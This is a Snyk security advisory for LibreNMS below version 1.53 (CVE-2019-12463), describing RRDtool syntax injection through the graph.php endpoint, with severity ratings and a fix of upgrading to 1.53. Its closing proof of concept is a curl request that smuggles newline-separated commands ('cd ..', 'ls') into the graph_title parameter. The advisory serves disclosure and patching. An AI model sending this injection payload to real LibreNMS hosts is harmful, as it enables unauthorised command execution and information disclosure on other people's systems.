Insufficient Input Validation Affecting librenms/librenms package, versions <1.53
Snyk CVSS
Attack Complexity
Low
User Interaction
Required
Confidentiality
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.09% (39th
percentile)
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Test your applications- Snyk ID SNYK-PHP-LIBRENMSLIBRENMS-6056536
- published 9 Sep 2019
- disclosed 9 Sep 2019
- credit Eldar Marcussen
Introduced: 9 Sep 2019
CVE-2019-12463 Open this link in a new tabHow to fix?
Upgrade librenms/librenms
to version 1.53 or higher.
Overview
librenms/librenms is a fully featured network monitoring system that provides a wealth of features and device support.
Affected versions of this package are vulnerable to Insufficient Input Validation. It is possible to inject syntax to the RRDtool used by LibreNMS to draw graphs. This could lead to information disclosure, denial of service, remote code execution and arbitrary file writes under certain conditions.
PoC by Eldar Marcussen
$ curl "http://host/graph.php?device=&type=device_ber&from=1&graph_title=1'%0a%0acd+.. %0als%0a'&to=2&width=50&height=300&debug=1"
NOTE: This vulnerability has also been identified as: CVE-2019-10665